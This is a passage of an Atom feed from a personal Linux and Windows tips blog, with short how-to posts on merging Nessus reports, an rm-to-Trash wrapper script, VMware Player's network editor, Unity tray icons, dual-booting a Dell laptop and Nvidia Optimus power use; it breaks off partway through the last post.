<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4708861546187678673</id><updated>2026-08-30T13:14:46.478+05:30</updated><title type='text'>Sec-UR-way</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.belure.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://blog.belure.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-3041579820088454041</id><published>2013-12-11T12:47:00.000+05:30</published><updated>2013-12-11T12:47:15.534+05:30</updated><title type='text'>.nessus reports merger AKA How to merge multiple Nessus reports (in .nessus file format)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
I came across a situation when I had to merge several Nessus reports in a file, for the ease of vulnerability compilation and reporting. Turns out, it was just a google (&#39;s/duckduckgo/google/g&#39;) search away.[0] :-)&lt;br /&gt;
&lt;br /&gt;
Here-&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Keep the python script[1] along with .nessus files in the same directory.&lt;/li&gt;
&lt;li&gt;Run python script and a folder/file will be created &lt;i&gt;&lt;b&gt;nss_report/report.nessus&lt;/b&gt;&lt;/i&gt;.&lt;/li&gt;
&lt;/ol&gt;
Big thanks to &lt;a href=&quot;http://btoe.ws/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;mastahyeti&lt;/b&gt;&lt;/a&gt; for taking pain to create this wonderful script.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;..............Done!!!&lt;br /&gt;
&lt;br /&gt;
Reference(s) :&lt;br /&gt;
[0] &lt;a href=&quot;http://cmikavac.net/2011/07/09/merging-multiple-nessus-scans-python-script/&quot;&gt;http://cmikavac.net/2011/07/09/merging-multiple-nessus-scans-python-script/&lt;/a&gt; &lt;br /&gt;
[1] &lt;a href=&quot;https://gist.github.com/mastahyeti/2720173&quot;&gt;https://gist.github.com/mastahyeti/2720173&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/3041579820088454041/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2013/12/nessus-reports-merger-aka-how-to-merge.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/3041579820088454041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/3041579820088454041'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2013/12/nessus-reports-merger-aka-how-to-merge.html' title='.nessus reports merger AKA How to merge multiple Nessus reports (in .nessus file format)'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-6091138549353445788</id><published>2013-11-28T19:18:00.000+05:30</published><updated>2013-11-28T19:53:58.984+05:30</updated><title type='text'>Force &#39;rm&#39; to use Trash instead of removing files completely</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This one&#39;s great.&lt;br /&gt;
Just realized that Linux system, by default, does not move data to Trash/Bin folders. It&#39;s the Desktop Environment that does so.&lt;br /&gt;
So when you &#39;&lt;b&gt;rm -rf file&lt;/b&gt;&#39;, it does not send the files to Trash. If you have deleted some important files by mistake or you want to recover some files which had been accidentally removed using &#39;rm&#39;, you could be in trouble.&lt;br /&gt;
&lt;br /&gt;
Here is what you can do to avoid such situations:&lt;br /&gt;
Replace &#39;&lt;b&gt;rm&lt;/b&gt;&#39; with a simple bash script which will move the deleted files to .Trash folder:&lt;br /&gt;
&lt;br /&gt;
Note: Shamelessly copied as is from the forum link in the references below.&lt;br /&gt;
&lt;br /&gt;
1. Backup original &#39;&lt;b&gt;rm&lt;/b&gt;&#39; command.&lt;br /&gt;
&lt;br /&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~$ sudo mv /usr/bin/rm /usr/bin/rm.bak
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
2. Edit &lt;b&gt;/usr/bin/rm&lt;/b&gt; in your favorite editor and put this in:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;#!/bin/bash

mkdir ~/.Trash &amp;amp;&amp;gt; /dev/null

while [ ! -z &quot;$1&quot; ]; do
    mv &quot;$1&quot; ~/.Trash/
    shift
done
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
..............Done!!!&lt;br /&gt;
&lt;br /&gt;
Reference(s):&lt;br /&gt;
&lt;a href=&quot;http://www.linuxforums.org/forum/newbie/69673-not-possible-recover-files-deleted-using-rm.html#post364949&quot;&gt;http://www.linuxforums.org/forum/newbie/69673-not-possible-recover-files-deleted-using-rm.html#post364949&lt;/a&gt; &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/6091138549353445788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2013/11/force-rm-to-user-trash-instead-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/6091138549353445788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/6091138549353445788'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2013/11/force-rm-to-user-trash-instead-of.html' title='Force &#39;rm&#39; to use Trash instead of removing files completely'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-6778136365556873517</id><published>2013-11-24T11:12:00.000+05:30</published><updated>2013-11-24T11:29:05.970+05:30</updated><title type='text'>VMware Player missing Virtual Network Manager</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This should work with VMware Player 6.0.1.&lt;br /&gt;
&lt;br /&gt;
VMware no longer provides Virtual Network Editor with VMware player from version 5.0 onwards.&lt;br /&gt;
And apart from only &lt;b&gt;vmnetcfg.exe&lt;/b&gt;, one more file is needed, &lt;b&gt;vmnetcfglib.dll&lt;/b&gt; for VMware Player 6.0.1.&lt;br /&gt;
Here we go:&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Download VMware Workstation X (10 in my case at the time of writing). Do not install.&lt;/li&gt;
&lt;li&gt;Extract files from command prompt from the downloaded location:&lt;br /&gt;C:\Users\user\Downloads\&amp;gt; VMware-workstation-full-10.0.1-1379776.exe /e vmware_extract\&lt;br /&gt;&lt;i&gt;vmware_extract&lt;/i&gt; is the name of directory in which files will be extracted to.&lt;/li&gt;
&lt;li&gt;Go to &lt;i&gt;vmware_extract &lt;/i&gt;folder, and open &lt;i&gt;core.cab&lt;/i&gt; using any extracting software (Winzip, Winrar, 7zip or even Windows default will open it if you double click on it).&lt;/li&gt;
&lt;li&gt;Copy &lt;i&gt;vmnetcfg.exe&lt;/i&gt; and &lt;i&gt;_vmnetcfglib.dll&lt;/i&gt; to VMware Player&#39;s installation folder which is &quot;C:\Program Files (x86)\VMware\VMware Player&quot; in my case.&lt;/li&gt;
&lt;li&gt;Rename &lt;i&gt;_vmnetcfglib.dll&lt;/i&gt; to &lt;i&gt;vmnetcfglib.dll&lt;/i&gt; (Remove beginning underscore &#39;_&#39; character).&lt;/li&gt;
&lt;li&gt;Open &lt;i&gt;vmnetcfg.exe&lt;/i&gt;. :-)&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
..............Done!!!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Reference(s):&lt;br /&gt;
&lt;a href=&quot;https://communities.vmware.com/message/2305040&quot;&gt;https://communities.vmware.com/message/2305040&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://alexduan.com/2012/10/15/vmware-player-5-0-network-editor/&quot;&gt;http://alexduan.com/2012/10/15/vmware-player-5-0-network-editor/&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/6778136365556873517/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2013/11/vmware-player-missing-virtual-network.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/6778136365556873517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/6778136365556873517'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2013/11/vmware-player-missing-virtual-network.html' title='VMware Player missing Virtual Network Manager'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-1258748287227958964</id><published>2013-09-14T11:29:00.000+05:30</published><updated>2013-11-24T11:12:37.863+05:30</updated><title type='text'>Unhide system tray icons on Ubuntu 12.04 Unity</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
I had couple of applications like Uget downloader, Truecrypt, Data card dialers for Reliance Netconnect, Tata Photon+, etc. which would run in background if you close (click on cross - X) them.&lt;br /&gt;
&lt;br /&gt;
And at times, I needed to bring them to front for different reasons. By default, you do not see any system tray icons in Unity unlike on GNome, Mate or any of other desktop environments.&lt;br /&gt;
&lt;br /&gt;
So here is how do you bring back system tray icons in Unity.&lt;br /&gt;
&lt;br /&gt;
Run&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~$ gsettings set com.canonical.Unity.Panel systray-whitelist &quot;[&#39;all&#39;]&quot;
user@ubuntu:~$ 
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
..............Done!!!&lt;br /&gt;
&lt;br /&gt;
PS: If changes doesn&#39;t show up immediately, run&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~$ unity --replace
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Reference : &lt;a href=&quot;http://askubuntu.com/questions/67312/how-do-i-enable-the-pidgin-system-tray-icon&quot;&gt;http://askubuntu.com/questions/67312/how-do-i-enable-the-pidgin-system-tray-icon&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
..............Done!!!&amp;nbsp; &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/1258748287227958964/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2013/09/unhide-system-tray-icons-on-ubuntu-1204.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/1258748287227958964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/1258748287227958964'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2013/09/unhide-system-tray-icons-on-ubuntu-1204.html' title='Unhide system tray icons on Ubuntu 12.04 Unity'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-6070565593280676880</id><published>2013-03-01T17:58:00.001+05:30</published><updated>2018-03-04T11:40:57.959+05:30</updated><title type='text'>Install Windows 7 and Ubuntu/Linux Mint on Dell vostro 3460 - having 32GB SSD drive</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This was something for which I spent lot of time to make the newly shipped laptop dual boot with Win 7 and Linux Mint (Finally switched from Ubuntu to Linux mint, mainly because of Desktop Environment. I think of conducting a poll of &quot;How many Ubuntu users switched their OS because of Desktop Environment?&quot;, or was there any already? Anyway I really got fade up of tweaking and twisting Precise Pangolin having Unity. So its a good feel with Mate on Linux Mint 13).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OK, back to the topic.&lt;br /&gt;
New Dell laptops have introduced a new technology called as Intel Rapid Storage Technology for improving protection, performance, etc.: &lt;a href=&quot;http://www.intel.com/support/chipsets/imsm/sb/CS-020784.htm&quot;&gt;http://www.intel.com/support/chipsets/imsm/sb/CS-020784.htm&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
They also used Intel Smart Response Technology, Intel Rapid Start Technology, and what not.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
My Dell Vostro 3460 has WDC 1TB hard disk and 32GB Samsung SSD drive, with Intel i7 processor and 8GB DDR3 1600MHz RAM, etc.&lt;br /&gt;
&lt;a href=&quot;http://www.intel.in/content/www/us/en/architecture-and-technology/rapid-storage-technology.html&quot; target=&quot;_blank&quot;&gt;The 32GB SSD to be used in conjunction with a high-capacity hard disk drive. The combination results in a high-performance, cost-effective storage solution.&lt;/a&gt; But only in case of Windows 8. I was quarreling with Dell support guys, what is the point of shipping it with the laptops which can not utilize it. And they say, &quot;Sir, you can upgrade to Windows 8 so to utilize it.&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5-bwZpXPHVO4ZXewh3y4nfsqglNXEy84FGiLplp2Abe0Fp8zYkXkBbIwl4cBvcJh-TV4t3b6Hc1GUSsGlpj6V-XpQ3BWwI6PXVqB3fvsWnq154ussv8Gubhai8bnpMBY7h8WIbX22mVCV/s1600/dafuq-is-this-shit-meme-3664.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;412&quot; data-original-width=&quot;600&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5-bwZpXPHVO4ZXewh3y4nfsqglNXEy84FGiLplp2Abe0Fp8zYkXkBbIwl4cBvcJh-TV4t3b6Hc1GUSsGlpj6V-XpQ3BWwI6PXVqB3fvsWnq154ussv8Gubhai8bnpMBY7h8WIbX22mVCV/s1600/dafuq-is-this-shit-meme-3664.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirzW1GIpYUiWvaxtDfFIljSumtpcyB8dY7FqNZvAs-SG2dAszdqBYhNjuJerbU16TWkt4qwBzNzoTKNnZWPOguZpyxZnlpmshTplt8JInMdWS5tS8DWkntXJ7Nt12vaQJ5oX6hbVYGT3Ya/s1600/9f2eeb0e221b0f8d1cf270ee7e6c6c18aab7716618984e61c7fcfae02e8ca55d.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;300&quot; data-original-width=&quot;460&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirzW1GIpYUiWvaxtDfFIljSumtpcyB8dY7FqNZvAs-SG2dAszdqBYhNjuJerbU16TWkt4qwBzNzoTKNnZWPOguZpyxZnlpmshTplt8JInMdWS5tS8DWkntXJ7Nt12vaQJ5oX6hbVYGT3Ya/s1600/9f2eeb0e221b0f8d1cf270ee7e6c6c18aab7716618984e61c7fcfae02e8ca55d.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Anyway, here is what I did:&lt;br /&gt;
&lt;br /&gt;
You might not find any drive to install when SATA operation in BIOS is set to Intel RST.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihkoD70mdd2JPNINgL1Ae8z4_2UcQMhYo4BRGEUgeVsdwrFjgmZuyQcueuCtavQJjchkQpp4St1zxxbdn5frGLpCeU09MWo4GplDd0DWOWzAesxJ8-h_JQCA3gyRg0R9wX-s3I7maTHhQ/s1600/471.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;476&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihkoD70mdd2JPNINgL1Ae8z4_2UcQMhYo4BRGEUgeVsdwrFjgmZuyQcueuCtavQJjchkQpp4St1zxxbdn5frGLpCeU09MWo4GplDd0DWOWzAesxJ8-h_JQCA3gyRg0R9wX-s3I7maTHhQ/s1600/471.JPG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
So you would need to go to BIOS and change SATA operation to AHCI.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaOj7HoZ8aCCrlY9_PQYFyaAow97rSo_D6bRTjT3Yx07W2HE-QUaVN1i7_SyP8YObUmsATW8FFJ7v8KPsM7oucP2YLU1Eb_isoVFkho4Iy9Im3EjsIxLKEKuByXyoD37uFwkHLjMzEaOA/s1600/472.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;476&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaOj7HoZ8aCCrlY9_PQYFyaAow97rSo_D6bRTjT3Yx07W2HE-QUaVN1i7_SyP8YObUmsATW8FFJ7v8KPsM7oucP2YLU1Eb_isoVFkho4Iy9Im3EjsIxLKEKuByXyoD37uFwkHLjMzEaOA/s1600/472.JPG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Then you will see the drives to reformat and install OS.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKCPZu9d8xTqKr-w67Awpxa3T-kwQP559Pt2pNmlI9ZjxPXN01PqpITh89NywiPzS-xehCrOL42LmFr-vhNk3fbdBgQj-lxA6g-N7v8cjxDuo8BgHsHlw8F26r2oEy4y6qekLtCrJvIek/s1600/473.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;476&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKCPZu9d8xTqKr-w67Awpxa3T-kwQP559Pt2pNmlI9ZjxPXN01PqpITh89NywiPzS-xehCrOL42LmFr-vhNk3fbdBgQj-lxA6g-N7v8cjxDuo8BgHsHlw8F26r2oEy4y6qekLtCrJvIek/s1600/473.JPG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Disk 0 partitions belong to 32GB SSD drive whereas Disk 1 partitions are present with 1TB WDC hard disk.&lt;br /&gt;
&lt;br /&gt;
There is no possible way to install &quot;System Reserved&quot; - 100MB (Needed for Win 7) in 32GB SSD drive. I tried multiple times to achieve that with no luck. :-(&lt;br /&gt;
&lt;br /&gt;
Also, 32GB space is not enough for C: to install Win 7 onto (with all driver and other installations, etc.). Although its possible. I was installing all rest of the softwares on D: which I had created on 1TB hard disk, but again exception being Graphics driver for Nvidia. As you can not customize the path while installing it.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://oyster.ignimgs.com/wordpress/www.ign.com/6249/2013/02/Dafuq.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://oyster.ignimgs.com/wordpress/www.ign.com/6249/2013/02/Dafuq.jpg&quot; height=&quot;155&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Finally, after so many alternatives, I thought of installing Linux first, so that I can utilize 32GB SSD drive for &#39;&lt;b&gt;/&lt;/b&gt;&#39; partition, as 32GB will be more than enough for &#39;/&#39; partition unlike C: in case of Windows. And installing rest all partitions on 1TB hard disk.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Install / partition on 32GB SSD drive&lt;/li&gt;
&lt;li&gt;200MB /boot partition on 1TB&lt;/li&gt;
&lt;li&gt;200GB C: partition on 1TB&lt;/li&gt;
&lt;li&gt;Rest all  /home partition on 1TB&lt;/li&gt;
&lt;/ul&gt;
I didn&#39;t think of Swap as I thought I won&#39;t be in need because of 8GB RAM.&lt;br /&gt;
&lt;br /&gt;
Once Linux Mint was installed, you would need to install Windows and of course, laptop couldn&#39;t recognize any other OS other than Windows because of overwriting of &lt;i&gt;grub&lt;/i&gt;, so follow : &lt;a href=&quot;https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows&quot;&gt;https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Once the Grub repair is done, you can see dual boot screen with Linux Mint and Windows 7. :-)&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUocnnH3KnLwI1VpAT37CVMO3uMFm8x5w1x2CtHyD9kC-VotFVD-0hGpwkqqfuqPBHdRevwVDQZZgFbzV1R7_Ula1Z_7YflLNWOgOwFDQgUaXYMXXaK0rQkxE8sQ6gYHcl989yFNq9UIo/s1600/photo.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;476&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUocnnH3KnLwI1VpAT37CVMO3uMFm8x5w1x2CtHyD9kC-VotFVD-0hGpwkqqfuqPBHdRevwVDQZZgFbzV1R7_Ula1Z_7YflLNWOgOwFDQgUaXYMXXaK0rQkxE8sQ6gYHcl989yFNq9UIo/s1600/photo.JPG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=4708861546187678673&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
..............Done!!! &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/6070565593280676880/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2013/03/install-windows-7-and-ubuntulinux-mint.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/6070565593280676880'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/6070565593280676880'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2013/03/install-windows-7-and-ubuntulinux-mint.html' title='Install Windows 7 and Ubuntu/Linux Mint on Dell vostro 3460 - having 32GB SSD drive'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5-bwZpXPHVO4ZXewh3y4nfsqglNXEy84FGiLplp2Abe0Fp8zYkXkBbIwl4cBvcJh-TV4t3b6Hc1GUSsGlpj6V-XpQ3BWwI6PXVqB3fvsWnq154ussv8Gubhai8bnpMBY7h8WIbX22mVCV/s72-c/dafuq-is-this-shit-meme-3664.jpg" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-7558603903473311361</id><published>2013-03-01T14:08:00.003+05:30</published><updated>2013-03-01T15:12:02.920+05:30</updated><title type='text'>[Linux-Mint 13 - Maya] Disable Nvidia discrete graphic card in a Nvidia optimus laptop</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
I had been really really screwed up as I was not able to optimize my laptop battery life.&lt;br /&gt;
I&#39;m having Windows 7 - Pro and Linux Mint 13 - Maya in dual boot. Yes, I switched to Linux Mint after lot of head-banging with Ubuntu 12.04 with freaky Unity. So this is it. With Linux Mint 13 Mate variant now.&lt;br /&gt;
&lt;br /&gt;
Alright. Now, I had hell lot of problems lined up with DELL Vostro 3460 to customize it my own way.&lt;br /&gt;
&lt;br /&gt;
Battery was lasting for nearly 5 hours with Windows 7 Pro, but that wasn&#39;t same with Mint. I had to struggle a lot to find out ways how can I optimize my laptop battery. Mint would last for merely 2 hours. That was really annoying. So many optimization options were not really helping me. Like installing &lt;i&gt;laptop-mode-tools&lt;/i&gt;, disabling unused services for every boot-time, and what not.&lt;br /&gt;
And even after all that, &lt;i&gt;powertop&lt;/i&gt; showed power consumption to be ~ &lt;b&gt;25 Watts&lt;/b&gt;.&lt;br /&gt;
Moreover, without ANY application open after just logging into the system. :-(&lt;br /&gt;
&lt;br /&gt;
